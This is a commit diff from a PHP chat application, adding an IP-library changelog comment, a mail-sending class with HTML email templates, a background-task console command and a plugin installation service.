+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2015 年 6 月引言 ---
+
+这是 IP 库的第十一个公开版本。
+
+目前的数据条目数超过了 170000 条了。希望下一个万条可以更快的达成。
+
+正在做些互联网基础设施相关的新事情,等有一定结果的时候,再来汇报吧。
+
+寻求 Golang 语言开发人员,具体请看链接:http://www.lagou.com/jobs/649340.html
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2015 年 4 月引言 ---
+
+这是 IP 库的第十个公开版本。
+
+三月份发布了 CDN 版本,针对节点调度需求做了一定的优化,也有了基本的英文版了。
+
+目前的数据条目数超过了 160000 条了,算是个小里程碑,也有了新的专职编辑正在学习中,希望更好的维护这个数据库。
+
+如果有人对基于全球 IP 分布以及连通性方面的数据挖掘以及相关的企业级服务有兴趣,请联系我,我们正在找专职的人员。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2015 年 2 月引言 ---
+
+这是 IP 库的第九个公开版本。
+
+我们已经更换了新的官网:http://www.ipip.net/
+
+这个月也会尽力发布 CDN 的专属版本以及英文版本。
+
+基站数据库也会看时间发布正式版。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2014 年 12 月引言 ---
+
+这是 IP 库的第八个公开版本。
+
+11 月份算是 IP 库进展最大的一个月了,我们对数据进行了全面的扫描,并且在微博上发了一篇长文章后,带来了不少付费客户,远超乎我的预期,也让我对这个事情有了新的想法。
+
+文章地址是: http://www.evernote.com/l/AAHsqnNK9T9LkqZb9LW-fLjzkx0B4Dj90lY/ ,希望您也看看。
+
+我们也针对高级付费客户开发了 DATX 格式版本,同时集成经纬度、时区信息,在读取速度上,同等环境下是 8000QPS 对 48000QPS 的区别。
+
+我们同时也发布了官方支持的 JAVA 版读取代码。
+
+这个月会把网站重新改版,更换域名,发布英文版网站和数据。
+
+下个月就是 2015 年,明年我们在努力提高数据准确度的情况下,会提高付费客户的价格,为什么提价,我会写文章来解释的,如果您需要,请在本月购买,我们承诺老客户老价格。
+
+我们也会针对 CDN、DNS、VPN 厂商的需求,专门发布对应的版本。
+
+另外免费版的发布情况也可能会做调整,不作任何保证。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 10 月引言 ---
+
+这是 IP 库的第七个公开版本。
+
+最近几个月在以新的方式在对 IP 数据进行标注,可以更加保证数据的正确性,目前完成度 80%,数据量接近十四万行,预计在 10 月底可以初步完成。
+
+使用官方 PHP 代码的朋友,请更新一下代码,之前犯了一个变量赋值的错误,导致缓存一直不会被命中。感谢 QQ 群里那位名字写得很乱的朋友发现的问题。做事认真严谨很重要。
+
+另外预告一下,明年初,我们会对付费版的价格进行调整,价格只高不低,当然之前购买的用户不会受影响。
+
+解释一下,我们毕竟在这个事情上投入了大量的精力,而且按照价格和准确度的情况来看,不说最好的,也是极好的了,再加上国内用户购买意愿低,我们只能考虑先提价的方式,毕竟对于任何一家对 IP 库有更高需求的业务,一个月付 200、300 元能够得到数据库并能保证及时更新的话,远比自己雇一个人去更新维护的成本低很多很多,何况 IP 库这件事水也很深,雇来的人的能力就能比我们做强吗?
+
+如果未来可以有足够付费用户的时候,我们也会考虑调低价格的。也请大家多理解多支持吧。
+
+我们也在做国家、城市经纬度和相关时区的数据,有需要的可以试试。
+
+年底之前也争取把域名换掉,也省得很多人问我 17MON 代表啥意思。:-)
+
+再求专职维护人员,有兴趣可以找我聊。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 8 月引言 ---
+
+这是 IP 库的第六个公开版本。
+
+这个月参加了 ThinkInLAMP 2014 PHP 技术峰会,做了一次有关 IP 数据库的演讲,也算是对将近一年多时间的投入的一个总结。大家有兴趣的,可以看看我的 ppt。
+
+实在是精力有限,为承诺计,从这个月开始,将每两个月发布免费版了。如果您需要更好的服务,请购买付费版。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 7 月引言 ---
+
+这是 IP 库的第五个公开版本。
+
+这个月公司和家里事情比较多,更新的慢了一点,还请大家谅解。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 6 月引言 ---
+
+这是 IP 库的第四个公开版本。
+
+祝大家六一、端午快乐,这次我们增加了一个字段,原来是把城市和单位放在了一起,这样比如在有学校名称的时候,就没法知道所在具体城市了。
+
+这种情况被客户们投诉了。这次趁着三天假的机会,下决心将其分开,这回大家都满意了吧?:-)
+
+因为增加了字段,所以对于字段有明确要求的,请仔细核查数据和相关代码,如果有问题,请到 QQ 群: 346280296 中反馈。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 5 月引言 ---
+
+这是 IP 库的第三个公开版本。
+
+祝大家五一快乐,假期之后的一周后,付费计划将上线。另外 WINDOWS 版的客户端也会同期上线。
+
+已经有公司与我联系了购买了付费服务,我很欣慰,呵呵。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 4 月引言 ---
+
+这是 IP 库的第二个公开版本。
+
+这个版本放开了国内市一级的数据,和网站版的数据相比,只有运营商的数据和国外到市一级的数据没有放开,我想对于一般的应用来说足够用了。
+
+这个月,更大的收获是,校准 IP 库的方法,进一步的成型,可以更少的工作、更高的正确率,对于做付费计划,我更有信心了。
+
+付费计划应该在本月底之前上线。希望对于数据的数据和更新频度以及支持有要求的,请一定给予支持。不然这个事情没有办法长期执行下去。
+
+如果您的软件或者应用里需要内置 IP 库,可以找我来谈更紧密的合作和更新方式。
+
+如果您有任何问题,请到 QQ 群来说。
+
+不多说,睡觉去了。。。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+--- 2014 年 3 月引言 ---
+
+经过半年多的不断努力,终于可以发布一个公开的版本了。
+
+IP 地址是互联网的基础部分,那么 IP 归属地数据库同样也很重要。
+
+之前在 ECSHOP 时期就研究过,只是最终没有更深入。
+
+终于半公半私都有关系的原因,下定决心做了,我一个人为主,也有同事很大的帮助。
+
+这半年多时间以来,知识见涨,尤其是全球地理方面的知识。:-)
+
+这次为了发布,也专门改进了库的生成方式,更准确(之前的生成代码有个小问题,导致 ECSHOP、DISCUZ 的也有同样问题,只是轻易碰不上,这次一并都改进了),库的体积也更小。
+
+言归正传,有空再闲扯。
+
+想使用很简单,把 17monipdb.dat 和 IP.class.php 放在同一个目录,使用 IP::find('x.x.x.x') 调用即可。
+工程师们请注意:目前为了向后兼容增加更多项目,并且方便进行二次处理,所以两个文本使用制表符分割;目前使用 UTF-8 字符集,其它字符集请自行转义;欢迎大家补充其它语言的版本。
+
+几点说明:
+
+1、维护这个数据库是个长期工作,甚至是一个无期工作,所以有打算做付费维护的考虑,请各位工程师们理解其辛苦程度。不是为赚钱,而是为了更好的维护数据库,让数据更准确,更有价值。
+
+2、目前公开版仅发布国内具体到省,国外具体到国家的格式数据。一般来说够用了。基于准确度优先的问题,我们暂时没有做除了直辖市或者可以明确到市的数据,即使有,目前也比较少。这个还请见谅,您可以保持关注。数据库的更新周期暂定一个月左右。17mon.cn 所对外的数据是完全版也是最新版,有需要可以使用 http://ip.17mon.cn/ 进行查询。
+
+3、有些 IP 段不会标注国家,是因为要么是路由器 IP 段,要么是做了 ANYCAST 技术,无法具体定位,一般来说,针对普通用户进行定位,不会碰到此类 IP,只有面对 CDN、DNS、服务器、路由器等等所在的 IP,才有可能碰到。
+
+4、在整理过程中,感谢 DNSPOD 的建议和数据支持,部分数据参考了纯真 IP 库、淘宝 IP 库、腾讯 IP 库、新浪 IP 库、中国互联网广告行业 IP 库的数据,还包括 BGP.HE.NET 以及全球各大地区的 IP 管理机构的 WHOIS 信息数据,感谢给我帮助和支持的大家还有我的同事,还有很多基础性的文章和资料,包括中国地图出版社的美国地图和欧洲地图。
+
+5、为了便于查询您使用的 IP 库版本,将 255.255.255.0 - 255.255.255.255 作为版本数据输出,您需要了解版本的话,请使用 IP::find('255.255.255.255') 查询即可。
+
+6、我们为了自己,也为了他人方便,集成了一个大全版,有兴趣者可访问 http://ip.17mon.cn/ 。
+
+7、数据量超大,更不要提未来的 IPv6 了,尤其我们为了准确,尽量使用实证方式维护数据,错误难免,请加 QQ 群: 346280296 进行讨论。
+
+8、如果您所在公司有更准确的 IP 数据库需求,可以与我联系,希望可以发挥各自长处合作共建,而不是各自单打独斗。
+
+说完了。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.17mon.cn/
+
+*/
+
+?>

+ 95 - 0
extend/mail/Mail.php

@@ -0,0 +1,95 @@
+<?php
+/**
+ * Created by PhpStorm
+ * User Julyssn
+ * Date 2021/8/3 13:50
+ */
+
+
+namespace mail;
+
+
+use Swift_Mailer;
+use Swift_Message;
+use Swift_SmtpTransport;
+use think\facade\View;
+
+class Mail
+{
+    public $Config = [
+        'driver' => 'smtp',                     // 邮件驱动, 支持 smtp|sendmail|mail 三种驱动
+        'host' => 'smtp.qq.com',                // SMTP服务器地址
+        'port' => 465,                          // SMTP服务器端口号,一般为25
+        'addr' => '',                           // 发件邮箱地址
+        'pass' => '',                           // 发件邮箱密码
+        'sign' => '',                           // 发件邮箱名称
+        'content_type' => 'text/html',          // 默认文本内容 text/html|text/plain
+        'charset' => 'utf-8',                   // 默认字符集
+        'security' => 'ssl',                    // 加密方式 null|ssl|tls, QQ邮箱必须使用ssl
+        'temp' => '',                           //邮件模板
+        'logo' => '',                           //邮件logo
+    ];
+
+
+    public function __construct($config)
+    {
+        $this->Config = array_merge($this->Config, $config);
+        //默认模板
+        $this->Config['temp'] = $this->Config['temp'] ?: 'temp';
+        $this->Config['logo'] = $this->Config['logo'] ?: env('app.logo','');
+    }
+
+    public function sendEmail(array $toEmails, $title, $content)
+    {
+
+        // 创建Transport对象,设置邮件服务器和端口号,并设置用户名和密码以供验证
+        $transport = (new Swift_SmtpTransport($this->Config['host'], $this->Config['port'], $this->Config['security']))
+            ->setUsername($this->Config['addr'])
+            ->setPassword($this->Config['pass']);
+
+        //创建mailer对象
+        $mailer = new Swift_Mailer($transport);
+
+        //创建message对象
+        $message = (new Swift_Message($title));//设置邮件主题
+
+        //用关联数组设置发件人地址,可以设置多个发件人
+        $message->setFrom([$this->Config['addr'] => $this->Config['sign']]);
+
+        //用关联数组设置收件人地址,可以设置多个收件人
+        $message->setTo($toEmails);
+
+        //设置邮件内容
+        $data = [
+            'logo' => $this->Config['logo'],
+            'title' => $title,
+            'content' => $content,
+            'time' => date('Y-m-d H:i:s'),
+            'name' => $this->Config['sign']
+        ];
+        $html = View::fetch(dirname(__FILE__) . '/' . $this->Config['temp'] . '.html', ['data' => $data]);
+        $message->setBody($html, 'text/html');
+
+//        //创建attachment对象,content-type这个参数可以省略
+//        $attachment = Swift_Attachment::fromPath('image.jpg', 'image/jpeg')->setFilename('cool.jpg');
+//        //添加附件
+//        $message->attach($attachment);
+
+
+//        //添加抄送人
+//        $message->setCc(array(
+//            'Cc@qq.com' => 'Cc'
+//        ));
+
+//        //添加密送人
+//        $message->setBcc(array(
+//            'Bcc@qq.com' => 'Bcc'
+//        ));
+
+//        //设置邮件回执
+//        $message->setReadReceiptTo('receipt@163.com');
+
+        //发送邮件
+        return $mailer->send($message);
+    }
+}

+ 57 - 0
extend/mail/code.html

@@ -0,0 +1,57 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="zh-CN">
+    <head>
+        <base target="_blank" />
+        <style type="text/css">::-webkit-scrollbar{ display: none; }</style>
+        <style id="cloudAttachStyle" type="text/css">#divNeteaseBigAttach, #divNeteaseBigAttach_bak{display:none;}</style>
+        <style id="blockquoteStyle" type="text/css">blockquote{display:none;}</style>
+        <style type="text/css">
+            body{font-size:14px;font-family:arial,verdana,sans-serif;line-height:1.666;padding:0;margin:0;overflow:auto;white-space:normal;word-wrap:break-word;min-height:100px}
+            td, input, button, select, body{font-family:Helvetica, \'Microsoft Yahei\', verdana}
+            pre {white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;width:95%}
+            th,td{font-family:arial,verdana,sans-serif;line-height:1.666}
+            img{ border:0}
+            header,footer,section,aside,article,nav,hgroup,figure,figcaption{display:block}
+            blockquote{margin-right:0px}
+        </style>
+    </head>
+    <body tabindex="0" role="listitem">
+    <table width="700" border="0" align="center" cellspacing="0" style="width:700px;">
+        <tbody>
+        <tr>
+            <td>
+                <div style="width:700px;margin:0 auto;border-bottom:1px solid #ccc;margin-bottom:30px;">
+                    <table border="0" cellpadding="0" cellspacing="0" width="700" height="39" style="font:12px Tahoma, Arial, 宋体;">
+                        <tbody><tr><td width="210"></td></tr></tbody>
+                    </table>
+                </div>
+                <div style="width:680px;padding:0 10px;margin:0 auto;">
+                    <div style="line-height:1.5;font-size:14px;margin-bottom:25px;color:#4d4d4d;">
+                        <strong style="display:block;margin-bottom:15px;">尊敬的用户:<span style="color:#f60;font-size: 16px;"></span>您好!</strong>
+                        <strong style="display:block;margin-bottom:15px;">
+                            您正在进行<span style="color: red">{$data.title}</span>操作,请在验证码输入框中输入:<span style="color:#f60;font-size: 24px">{$data.content}</span>,以完成操作。
+                        </strong>
+                    </div>
+                    <div style="margin-bottom:30px;">
+                        <small style="display:block;margin-bottom:20px;font-size:12px;">
+                            <p style="color:#747474;">
+                                注意:此操作可能会修改您的密码、登录邮箱或绑定手机。如非本人操作,请及时登录并修改密码以保证帐户安全
+                                <br>(工作人员不会向你索取此验证码,请勿泄漏!)
+                            </p>
+                        </small>
+                    </div>
+                </div>
+                <div style="width:700px;margin:0 auto;">
+                    <div style="padding:10px 10px 0;border-top:1px solid #ccc;color:#747474;margin-bottom:20px;line-height:1.3em;font-size:12px;">
+                        <p>此为系统邮件,请勿回复<br>
+                            请保管好您的邮箱,避免账号被他人盗用
+                        </p>
+                        <p>{$data.sign ?? ''}</p>
+                    </div>
+                </div>
+            </td>
+        </tr>
+        </tbody>
+    </table>
+    </body>
+</html>

+ 50 - 0
extend/mail/temp.html

@@ -0,0 +1,50 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="zh-CN">
+    <head>
+        <meta charset="utf-8">
+        <base target="_blank" />
+        <style type="text/css">::-webkit-scrollbar{ display: none; }</style>
+        <style id="cloudAttachStyle" type="text/css">#divNeteaseBigAttach, #divNeteaseBigAttach_bak{display:none;}</style>
+        <style id="blockquoteStyle" type="text/css">blockquote{display:none;}</style>
+        <style type="text/css">
+            body{font-size:14px;font-family:arial,verdana,sans-serif;line-height:1.666;padding:0;margin:0;overflow:auto;white-space:normal;word-wrap:break-word;min-height:100px}
+            td, input, button, select, body{font-family:Helvetica, \'Microsoft Yahei\', verdana}
+            pre {white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;width:95%}
+            th,td{font-family:arial,verdana,sans-serif;line-height:1.666}
+            img{ border:0}
+            header,footer,section,aside,article,nav,hgroup,figure,figcaption{display:block}
+            blockquote{margin-right:0px}
+        </style>
+    </head>
+    <body tabindex="0" role="listitem">
+    <table width="700" border="0" align="center" cellspacing="0" style="width:700px;">
+        <tbody>
+        <tr>
+            <td>
+                <div style="width:700px;margin:0 auto;border-bottom:1px solid #ccc;margin-bottom:30px;">
+                    <table border="0" cellpadding="0" cellspacing="0" width="700" height="39" style="font:12px Tahoma, Arial, 宋体;">
+                        <tbody><tr><td width="210"></td></tr></tbody>
+                    </table>
+                </div>
+                <div style="width:680px;padding:0 10px;margin:0 auto;">
+                    <div style="line-height:1.5;font-size:14px;margin-bottom:25px;color:#4d4d4d;">
+                        <strong style="display:block;margin-bottom:15px;">尊敬的用户:您好!</strong>
+                        <strong style="display:block;margin-bottom:15px;">
+                            {$data.content}
+                        </strong>
+                    </div>
+                </div>
+                <div style="width:700px;margin:0 auto;">
+                    <div style="padding:10px 10px 0;border-top:1px solid #ccc;color:#747474;margin-bottom:20px;line-height:1.3em;font-size:12px;">
+                        <p>此为系统邮件,请勿回复<br>
+                            请保管好您的邮箱,避免账号被他人盗用
+                        </p>
+                        <p>Raingad-IM</p>
+                    </div>
+                </div>
+            </td>
+        </tr>
+        </tbody>
+    </table>
+    </body>
+</html>

+ 85 - 0
extend/task/command/Task.php

@@ -0,0 +1,85 @@
+<?php
+/**
+ * Created by PhpStorm
+ * User Julyssn
+ * Date 2022/12/14 16:12
+ */
+
+
+namespace task\command;
+
+
+use easyTask\Helper;
+use easyTask\Task as EasyTask;
+use think\console\Command;
+use think\console\Input;
+use think\console\input\Argument;
+use think\console\Output;
+use think\helper\Str;
+
+class Task extends Command
+{
+    protected function configure()
+    {
+        // 指令配置
+        $this->setName('task')
+             ->addArgument('action', Argument::OPTIONAL, "action", '')
+             ->addArgument('force', Argument::OPTIONAL, "force", '')
+             ->setDescription('the task command');
+    }
+
+    protected function execute(Input $input, Output $output)
+    {
+        //获取输入参数
+        $action = trim($input->getArgument('action'));
+        $force  = trim($input->getArgument('force'));
+
+        $rootPath = root_path();
+
+        $task = new EasyTask();
+
+        // 设置常驻内存
+        $task->setDaemon(!Helper::isWin());
+
+        // 设置项目名称 获取运行目录文件夹名称
+        $task->setPrefix('easy_task');
+
+        // 设置子进程挂掉自动重启
+        $task->setAutoRecover(true);
+
+        // 设置运行时目录(日志或缓存目录)
+        $task->setRunTimePath($rootPath . 'runtime');
+        // 消息推送
+        $task->addCommand('php think worker:gateway start', 'worker', 0);
+        // 定时任务
+        $task->addCommand('php think cron:run', 'schedule', 60);
+        // 消息队列
+        $task->addCommand('php think queue:listen --sleep 0.3 --queue im', 'queue', 0);
+        
+        // 定时删除运行日志
+        $task->addFunc(function () {
+            $rootPath = root_path();
+            $stdPath=$rootPath . 'runtime'.DIRECTORY_SEPARATOR.'easy_task'.DIRECTORY_SEPARATOR.'Std';
+            foreach (glob($stdPath . DIRECTORY_SEPARATOR . '*.std') as $file) {
+                if (is_file($file)) {
+                    print $file."清理文件\n";
+                    unlink($file);
+                }
+            }
+            print $stdPath."   文件清理成功\n";
+        }, 'clearStd', 86400);
+
+        // 根据命令执行
+        if ($action == 'start') {
+            $task->start();
+        } elseif ($action == 'status') {
+            $task->status();
+        } elseif ($action == 'stop') {
+            $force = ($force == 'force'); //是否强制停止
+            $task->stop($force);
+        } else {
+            exit('Command is not exist');
+        }
+    }
+
+}

+ 443 - 0
extend/think/AddonService.php

@@ -0,0 +1,443 @@
+<?php
+// +----------------------------------------------------------------------
+// | Yzncms [ 御宅男工作室 ]
+// +----------------------------------------------------------------------
+// | Copyright (c) 2018 http://yzncms.com All rights reserved.
+// +----------------------------------------------------------------------
+// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
+// +----------------------------------------------------------------------
+// | Author: 御宅男 <530765310@qq.com>
+// +----------------------------------------------------------------------
+
+// +----------------------------------------------------------------------
+// | 插件服务类
+// +----------------------------------------------------------------------
+namespace think;
+
+use app\admin\model\Addons as AddonsModel;
+use app\common\model\Cache as CacheModel;
+use RecursiveDirectoryIterator;
+use RecursiveIteratorIterator;
+use think\Exception;
+use think\facade\Cache;
+use think\facade\Db;
+use util\File;
+use util\Sql;
+use ZipArchive;
+
+class AddonService
+{
+    /**
+     * 安装插件.
+     *
+     * @param string $name   插件名称
+     * @param bool   $force  是否覆盖
+     * @param array  $extend 扩展参数
+     *
+     * @throws Exception
+     *
+     * @return bool
+     */
+    public static function install($name, $force = false, $extend = [])
+    {
+        try {
+            // 检查插件是否完整
+            self::check($name);
+            if (!$force) {
+                self::noconflict($name);
+            }
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+        /*if (!$name || (is_dir(ADDON_PATH . $name) && !$force)) {
+        throw new Exception('插件已存在!');
+        }*/
+        foreach (self::getCheckDirs() as $k => $dir) {
+            if (is_dir(ADDON_PATH . $name . DS . $dir)) {
+                File::copy_dir(ADDON_PATH . $name . DS . $dir, app()->getRootPath() . $dir);
+            }
+        }
+        //前台模板
+        $installdir = ADDON_PATH . "{$name}" . DS . "install" . DS;
+        if (is_dir($installdir . "template" . DS)) {
+            //拷贝模板到前台模板目录中去
+            File::copy_dir($installdir . "template" . DS, TEMPLATE_PATH . 'default' . DS);
+        }
+        //静态资源文件
+        if (file_exists(ADDON_PATH . $name . DS . "install" . DS . "public" . DS)) {
+            //拷贝模板到前台模板目录中去
+            File::copy_dir(ADDON_PATH . $name . DS . "install" . DS . "public" . DS, app()->getRootPath() . 'public' . DS . 'static' . DS . 'addons' . DS . strtolower($name) . '/');
+        }
+
+        try {
+            // 默认启用该插件
+            $info = get_addon_info($name);
+            if (!$info['status']) {
+                $info['status'] = 1;
+                set_addon_info($name, $info);
+            }
+            // 执行安装脚本
+            $class = get_addon_class($name);
+            if (class_exists($class)) {
+                $addon = new $class();
+                $addon->install();
+                //缓存
+                if (isset($addon->cache) && is_array($addon->cache)) {
+                    self::installAddonCache($addon->cache, $name);
+                }
+            }
+            self::runSQL($name);
+            AddonsModel::create($info);
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+        // 刷新
+        self::refresh();
+        return true;
+
+    }
+
+    /**
+     * 卸载插件.
+     *
+     * @param string $name
+     * @param bool   $force 是否强制卸载
+     *
+     * @throws Exception
+     *
+     * @return bool
+     */
+    public static function uninstall($name, $force = false)
+    {
+        if (!$name || !is_dir(ADDON_PATH . $name)) {
+            throw new Exception('插件不存在!');
+        }
+        // 移除插件全局资源文件
+        if ($force) {
+            $list = self::getGlobalFiles($name);
+            foreach ($list as $k => $v) {
+                @unlink(app()->getRootPath() . $v);
+            }
+        }
+        //删除模块前台模板
+        if (is_dir(TEMPLATE_PATH . 'default' . DS . $name . DS)) {
+            File::del_dir(TEMPLATE_PATH . 'default' . DS . $name . DS);
+        }
+        //静态资源移除
+        if (is_dir(app()->getRootPath() . 'public' . DS . 'static' . DS . 'addons' . DS . strtolower($name) . DS)) {
+            File::del_dir(app()->getRootPath() . 'public' . DS . 'static' . DS . 'addons' . DS . strtolower($name) . DS);
+        }
+        // 执行卸载脚本
+        try {
+            // 默认禁用该插件
+            $info = get_addon_info($name);
+            if ($info['status']) {
+                $info['status'] = 0;
+                set_addon_info($name, $info);
+            }
+            $class = get_addon_class($name);
+            if (class_exists($class)) {
+                $addon = new $class();
+                $addon->uninstall();
+                //缓存
+                if (isset($addon->cache) && is_array($addon->cache)) {
+                    CacheModel::where(['module' => $name, 'system' => 0])->delete();
+                }
+            };
+            self::runSQL($name, 'uninstall');
+            AddonsModel::where('name', $name)->delete();
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+        // 刷新
+        self::refresh();
+        return true;
+    }
+
+    /**
+     * 启用.
+     *
+     * @param string $name  插件名称
+     * @param bool   $force 是否强制覆盖
+     *
+     * @return bool
+     */
+    public static function enable($name, $force = false)
+    {
+        if (!$name || !is_dir(ADDON_PATH . $name)) {
+            throw new Exception('插件不存在!');
+        }
+
+        $info = get_addon_info($name);
+        $info['status'] = 1;
+        unset($info['url']);
+        set_addon_info($name, $info);
+
+        //执行启用脚本
+        try {
+            AddonsModel::update(['status' => 1], ['name' => $name]);
+            $class = get_addon_class($name);
+            if (class_exists($class)) {
+                $addon = new $class();
+                if (method_exists($class, 'enable')) {
+                    $addon->enable();
+                }
+            }
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+        // 刷新
+        self::refresh();
+
+        return true;
+    }
+
+    /**
+     * 禁用.
+     *
+     * @param string $name  插件名称
+     * @param bool   $force 是否强制禁用
+     *
+     * @throws Exception
+     *
+     * @return bool
+     */
+    public static function disable($name, $force = false)
+    {
+        if (!$name || !is_dir(ADDON_PATH . $name)) {
+            throw new Exception('插件不存在!');
+        }
+
+        $info = get_addon_info($name);
+        $info['status'] = 0;
+        unset($info['url']);
+        set_addon_info($name, $info);
+
+        // 执行禁用脚本
+        try {
+            AddonsModel::update(['status' => 0], ['name' => $name]);
+            $class = get_addon_class($name);
+            if (class_exists($class)) {
+                $addon = new $class();
+
+                if (method_exists($class, 'disable')) {
+                    $addon->disable();
+                }
+            }
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+
+        // 刷新
+        self::refresh();
+
+        return true;
+    }
+
+    /**
+     * 刷新插件缓存文件.
+     *
+     * @throws Exception
+     *
+     * @return bool
+     */
+    public static function refresh()
+    {
+        $file = app()->getRootPath() . 'config' . DS . 'addons.php';
+
+        $config = get_addon_autoload_config(true);
+        if ($config['autoload']) {
+            return;
+        }
+
+        if (!\util\File::is_really_writable($file)) {
+            throw new Exception('addons.php文件没有写入权限');
+        }
+
+        if ($handle = fopen($file, 'w')) {
+            fwrite($handle, "<?php\n\n" . 'return ' . var_export($config, true) . ';');
+            fclose($handle);
+        } else {
+            throw new Exception('文件没有写入权限');
+        }
+
+        return true;
+    }
+
+    /**
+     * 解压插件.
+     *
+     * @param string $name 插件名称
+     *
+     * @throws Exception
+     *
+     * @return string
+     */
+    public static function unzip($name)
+    {
+        $file = app()->getRootPath() . 'runtime' . DS . 'addons' . DS . $name . '.zip';
+        $dir = ADDON_PATH . $name . DS;
+        if (class_exists('ZipArchive')) {
+            $zip = new ZipArchive();
+            if ($zip->open($file) !== true) {
+                throw new Exception('Unable to open the zip file');
+            }
+            if (!$zip->extractTo($dir)) {
+                $zip->close();
+
+                throw new Exception('Unable to extract the file');
+            }
+            $zip->close();
+
+            return $dir;
+        }
+
+        throw new Exception('无法执行解压操作,请确保ZipArchive安装正确');
+    }
+
+    /**
+     * 注册插件缓存
+     * @return boolean
+     */
+    public static function installAddonCache(array $cache, $name)
+    {
+        $data = array();
+        foreach ($cache as $key => $rs) {
+            $add = array(
+                'key' => $key,
+                'name' => $rs['name'],
+                'module' => isset($rs['module']) ? $rs['module'] : $name,
+                'model' => $rs['model'],
+                'action' => $rs['action'],
+                //'param' => isset($rs['param']) ? $rs['param'] : '',
+                'system' => 0,
+            );
+            CacheModel::create($add);
+        }
+        return true;
+    }
+
+    /**
+     * 执行安装数据库脚本
+     * @param type $name 模块名(目录名)
+     * @return boolean
+     */
+    public static function runSQL($name = '', $Dir = 'install')
+    {
+        $sql_file = ADDON_PATH . "{$name}" . DS . "{$Dir}" . DS . "{$Dir}.sql";
+        if (file_exists($sql_file)) {
+            $sql_statement = Sql::getSqlFromFile($sql_file);
+            if (!empty($sql_statement)) {
+                foreach ($sql_statement as $value) {
+                    try {
+                        Db::execute($value);
+                    } catch (\Exception $e) {
+                        throw new Exception('导入SQL失败,请检查{$name}.sql的语句是否正确');
+                    }
+                }
+            }
+        }
+        return true;
+    }
+
+    /**
+     * 是否有冲突
+     *
+     * @param   string $name 插件名称
+     * @return  boolean
+     * @throws  AddonException
+     */
+    public static function noconflict($name)
+    {
+        // 检测冲突文件
+        $list = self::getGlobalFiles($name, true);
+        if ($list) {
+            //发现冲突文件,抛出异常
+            throw new Exception("发现冲突文件");
+        }
+        return true;
+    }
+
+    /**
+     * 获取插件在全局的文件
+     *
+     * @param   string $name 插件名称
+     * @return  array
+     */
+    public static function getGlobalFiles($name, $onlyconflict = false)
+    {
+        $list = [];
+        $addonDir = ADDON_PATH . $name . DS;
+        // 扫描插件目录是否有覆盖的文件
+        foreach (self::getCheckDirs() as $k => $dir) {
+            $checkDir = app()->getRootPath() . DS . $dir . DS;
+            if (!is_dir($checkDir)) {
+                continue;
+            }
+
+            //检测到存在插件外目录
+            if (is_dir($addonDir . $dir)) {
+                //匹配出所有的文件
+                $files = new RecursiveIteratorIterator(
+                    new RecursiveDirectoryIterator($addonDir . $dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST
+                );
+
+                foreach ($files as $fileinfo) {
+                    if ($fileinfo->isFile()) {
+                        $filePath = $fileinfo->getPathName();
+                        $path = str_replace($addonDir, '', $filePath);
+                        if ($onlyconflict) {
+                            $destPath = app()->getRootPath() . $path;
+                            if (is_file($destPath)) {
+                                if (filesize($filePath) != filesize($destPath) || md5_file($filePath) != md5_file($destPath)) {
+                                    $list[] = $path;
+                                }
+                            }
+                        } else {
+                            $list[] = $path;
+                        }
+                    }
+                }
+            }
+        }
+        return $list;
+    }
+
+    /**
+     * 获取检测的全局文件夹目录
+     * @return  array
+     */
+    protected static function getCheckDirs()
+    {
+        return [
+            'app',
+            'public',
+        ];
+    }
+
+    /**
+     * 检测插件是否完整.
+     *
+     * @param string $name 插件名称
+     *
+     * @throws Exception
+     *
+     * @return bool
+     */
+    public static function check($name)
+    {
+        if (!$name || !is_dir(ADDON_PATH . $name)) {
+            throw new Exception('插件不存在!');
+        }
+        $addonClass = get_addon_class($name);
+        if (!$addonClass) {
+            throw new Exception('插件主启动程序不存在');
+        }
+        $addon = new $addonClass();
+        if (!$addon->checkInfo()) {
+            throw new Exception('配置文件不完整');
+        }
+        return true;
+    }
+
+}

+ 244 - 0
extend/think/Addons.php

@@ -0,0 +1,244 @@
+<?php
+// +----------------------------------------------------------------------
+// | Yzncms [ 御宅男工作室 ]
+// +----------------------------------------------------------------------
+// | Copyright (c) 2018 http://yzncms.com All rights reserved.
+// +----------------------------------------------------------------------
